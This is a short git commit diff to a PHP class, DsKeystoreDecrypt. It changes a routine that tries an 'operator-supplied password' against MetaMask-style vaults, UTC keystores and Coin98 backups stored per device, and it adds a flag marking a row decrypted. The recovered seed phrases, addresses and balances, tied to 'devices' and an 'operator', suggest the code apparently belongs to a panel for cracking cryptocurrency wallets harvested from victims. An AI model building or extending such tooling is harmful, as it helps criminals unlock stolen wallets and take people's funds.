feat: decrypt
This commit is contained in:
@@ -82,34 +82,19 @@ final class DsKeystoreDecrypt
|
||||
|
||||
/**
|
||||
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||||
* MetaMask-style password vaults on this row (and same-source rows).
|
||||
* MetaMask-style password vaults on this row only.
|
||||
*
|
||||
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||||
*/
|
||||
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$source = trim((string) $row->source);
|
||||
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
||||
foreach ($device->keystores as $other) {
|
||||
if ((int) $other->id === (int) $row->id) {
|
||||
continue;
|
||||
}
|
||||
if (trim((string) $other->source) !== $source) {
|
||||
continue;
|
||||
}
|
||||
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
||||
}
|
||||
|
||||
$utcs = [];
|
||||
$vaults = [];
|
||||
$node = is_array($row->raw_json) ? $row->raw_json : [];
|
||||
$utcs = $this->collectKeystores($node, $source !== '' ? $source : 'unknown');
|
||||
$vaults = $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown');
|
||||
$coin98Wallets = [];
|
||||
foreach ($nodes as $node) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||
}
|
||||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
$passwords = $this->expandUserPassword($password);
|
||||
@@ -1066,6 +1051,15 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
}
|
||||
|
||||
public function markRowDecrypted(WalletKeystore $row): void
|
||||
{
|
||||
if ((int) $row->decrypted === 1) {
|
||||
return;
|
||||
}
|
||||
$row->decrypted = 1;
|
||||
$row->save();
|
||||
}
|
||||
|
||||
public function markSourceDecrypted(int $deviceId, string $source): void
|
||||
{
|
||||
WalletKeystore::query()
|
||||
|
||||
Reference in New Issue
Block a user